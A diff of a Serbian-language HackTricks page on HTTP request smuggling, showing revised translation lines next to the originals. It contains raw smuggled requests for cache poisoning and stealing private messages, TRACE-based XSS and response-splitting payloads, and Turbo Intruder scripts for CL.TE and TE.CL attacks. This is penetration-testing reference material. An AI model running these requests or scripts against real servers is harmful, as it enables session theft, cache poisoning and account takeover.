Napadač kreira krijumčareni zahtev koji dohvata osetljiv korisnički specifičan sadržaj. Razmotrite sledeći primer:
|
||||
```markdown
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
|
@ -480,17 +496,17 @@ Napadač oblikuje krijumčareni zahtev koji dohvaća osetljiv sadržaj specifič
|
|||
`GET /private/messages HTTP/1.1`\
|
||||
`Foo: X`
|
||||
```
|
||||
Ako ovaj prokrijumčaren zahtev otrovi keš zapis namenjen statičkom sadržaju (npr. `/someimage.png`), osetljivi podaci žrtve iz `/private/messages` mogu biti keširani pod keš zapisom statičkog sadržaja. Kao rezultat, napadač bi potencijalno mogao povratiti ove keširane osetljive podatke.
|
||||
Ako ovaj krijumčareni zahtev otrovi keš zapis namenjen statičkom sadržaju (npr. `/someimage.png`), osetljivi podaci žrtve iz `/private/messages` mogu biti keširani pod keš zapisom statičkog sadržaja. Kao rezultat toga, napadač bi potencijalno mogao povratiti ove keširane osetljive podatke.
|
||||
|
||||
### Zloupotreba TRACE putem HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
[**U ovom postu**](https://portswigger.net/research/trace-desync-attack) se sugeriše da ako je server omogućio metodu TRACE, moguće je zloupotrebiti je sa HTTP Request Smuggling-om. Ovo je zato što će ova metoda odražavati bilo koji zaglavlje poslato serveru kao deo tela odgovora. Na primer:
|
||||
[**U ovom postu**](https://portswigger.net/research/trace-desync-attack) se sugeriše da ukoliko je server omogućio metodu TRACE, moguće je zloupotrebiti je sa HTTP Request Smuggling-om. Ovo je zato što će ova metoda odražavati bilo koji zaglavlje poslato serveru kao deo tela odgovora. Na primer:
|
||||
```
|
||||
TRACE / HTTP/1.1
|
||||
Host: example.com
|
||||
XSS: <script>alert("TRACE")</script>
|
||||
```
|
||||
Poslaćemo odgovor poput:
|
||||
Poslaće odgovor poput:
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: message/http
|
||||
|
@ -501,15 +517,15 @@ Host: vulnerable.com
|
|||
XSS: <script>alert("TRACE")</script>
|
||||
X-Forwarded-For: xxx.xxx.xxx.xxx
|
||||
```
|
||||
Jedan primer kako zloupotrebiti ovu ponašanje bilo bi **prvo prokrijumčariti HEAD zahtev**. Ovaj zahtev će dobiti odgovor samo sa **zaglavljima** GET zahteva (**`Content-Type`** među njima). Zatim prokrijumčariti **odmah nakon HEAD TRACE zahtev**, koji će **reflektovati poslate podatke**.\
|
||||
Pošto HEAD odgovor sadrži `Content-Length` zaglavlje, **odgovor TRACE zahteva će biti tretiran kao telo HEAD odgovora, te reflektovati proizvoljne podatke** u odgovoru. \
|
||||
Ovaj odgovor će biti poslat sledećem zahtevu preko veze, pa se to može **koristiti u keširanom JS fajlu na primer za ubacivanje proizvoljnog JS koda**.
|
||||
Jedan primer kako zloupotrebiti ovu ponašanje bilo bi **prvo prokrijumčariti HEAD zahtev**. Ovaj zahtev će dobiti odgovor samo sa **zaglavljima** GET zahteva (**`Content-Type`** među njima). Zatim prokrijumčariti **odmah nakon HEAD zahteva TRACE zahtev**, koji će **reflektovati poslate podatke**.\
|
||||
Pošto će odgovor HEAD zahteva sadržati zaglavlje `Content-Length`, **odgovor TRACE zahteva će biti tretiran kao telo odgovora HEAD zahteva, te će reflektovati proizvoljne podatke** u odgovoru. \
|
||||
Ovaj odgovor će biti poslat sledećem zahtevu preko veze, pa bi ovo moglo biti **korišćeno u keširanom JS fajlu na primer za ubacivanje proizvoljnog JS koda**.
|
||||
|
||||
### Zloupotreba TRACE putem Razdvajanja HTTP Odgovora <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
Nastavak prateći [**ovaj post**](https://portswigger.net/research/trace-desync-attack) sugerira se drugi način zloupotrebe metode TRACE. Kao što je komentarisano, prokrijumčariti HEAD zahtev i TRACE zahtev je moguće **kontrolisati neke reflektovane podatke** u odgovoru na HEAD zahtev. Dužina tela HEAD zahteva je uglavnom naznačena u Content-Length zaglavlju i formirana je odgovorom na TRACE zahtev.
|
||||
Nastavite pratiti [**ovaj post**](https://portswigger.net/research/trace-desync-attack) predložen je još jedan način zloupotrebe metode TRACE. Kao što je komentarisano, prokrijumčariti HEAD zahtev i TRACE zahtev je moguće **kontrolisati neke reflektovane podatke** u odgovoru na HEAD zahtev. Dužina tela HEAD zahteva je uglavnom naznačena u zaglavlju Content-Length i formirana je odgovorom na TRACE zahtev.
|
||||
|
||||
Stoga, nova ideja bi bila da, znajući ovaj Content-Length i podatke dati u TRACE odgovoru, moguće je napraviti da TRACE odgovor sadrži validan HTTP odgovor nakon poslednjeg bajta Content-Length, omogućavajući napadaču potpunu kontrolu nad zahtevom ka sledećem odgovoru (što bi se moglo koristiti za izvođenje trovanja keša).
|
||||
Stoga, nova ideja bi bila da, znajući ovaj Content-Length i podatke dati u TRACE odgovoru, moguće je napraviti da TRACE odgovor sadrži validan HTTP odgovor nakon poslednjeg bajta Content-Length, omogućavajući napadaču potpunu kontrolu nad zahtevom ka sledećem odgovoru (što bi moglo biti korišćeno za izvođenje trovanja keša).
|
||||
|
||||
Primer:
|
||||
```
|
||||
|
@ -530,7 +546,7 @@ Content-Length: 44\r\n
|
|||
\r\n
|
||||
<script>alert("response splitting")</script>
|
||||
```
|
||||
Generisaće ove odgovore (primetite kako HEAD odgovor ima Content-Length koji čini da TRACE odgovor bude deo HEAD tela i kada HEAD Content-Length završi, validan HTTP odgovor je prokrijumčaren):
|
||||
Će generisati ove odgovore (obratite pažnju kako HEAD odgovor ima Content-Length čineći TRACE odgovor deo HEAD tela i kada HEAD Content-Length završi, validan HTTP odgovor je prokrijumčaren):
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
|
@ -553,7 +569,7 @@ Content-Length: 50
|
|||
```
|
||||
### Oružjeziranje HTTP zahteva za krijumčarenje sa dezinkronizacijom HTTP odgovora
|
||||
|
||||
Da li ste pronašli neku ranjivost u vezi sa krijumčarenjem HTTP zahteva i ne znate kako da je iskoristite? Pokušajte sa ovom drugom metodom eksploatacije:
|
||||
Da li ste pronašli neku ranjivost u vezi sa krijumčarenjem HTTP zahteva i ne znate kako da je iskoristite. Pokušajte sa ovom drugom metodom iskorišćavanja:
|
||||
|
||||
{% content-ref url="../http-response-smuggling-desync.md" %}
|
||||
[http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
|
||||
|
@ -561,7 +577,7 @@ Da li ste pronašli neku ranjivost u vezi sa krijumčarenjem HTTP zahteva i ne z
|
|||
|
||||
### Druge tehnike krijumčarenja HTTP zahteva
|
||||
|
||||
* Krijumčarenje HTTP zahteva preko pregledača (sa strane klijenta)
|
||||
* Klijentsko krijumčarenje HTTP zahteva pretraživača (sa klijentske strane)
|
||||
|
||||
{% content-ref url="browser-http-request-smuggling.md" %}
|
||||
[browser-http-request-smuggling.md](browser-http-request-smuggling.md)
|
||||
|
@ -573,7 +589,7 @@ Da li ste pronašli neku ranjivost u vezi sa krijumčarenjem HTTP zahteva i ne z
|
|||
[request-smuggling-in-http-2-downgrades.md](request-smuggling-in-http-2-downgrades.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Turbo skripte za upad
|
||||
## Turbo intruder skripte
|
||||
|
||||
### CL.TE
|
||||
|
||||
|
@ -618,7 +634,7 @@ table.add(req)
|
|||
```
|
||||
### TE.CL
|
||||
|
||||
Sa: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
|
||||
Od: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
engine = RequestEngine(endpoint=target.endpoint,
|
||||
|
@ -667,7 +683,7 @@ table.add(req)
|
|||
* [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
|
||||
* [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
|
||||
* [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
|
||||
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Ovaj alat je fuzzer za HTTP zasnovan na gramatici koristan za pronalaženje čudnih razlika u zahtevima za krijumčarenje.
|
||||
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Ovaj alat je fuzzer za HTTP zasnovan na gramatici koristan za pronalaženje čudnih razlika u zahtevima za švercovanje.
|
||||
|
||||
## Reference
|
||||
|
||||
|
@ -686,10 +702,10 @@ table.add(req)
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue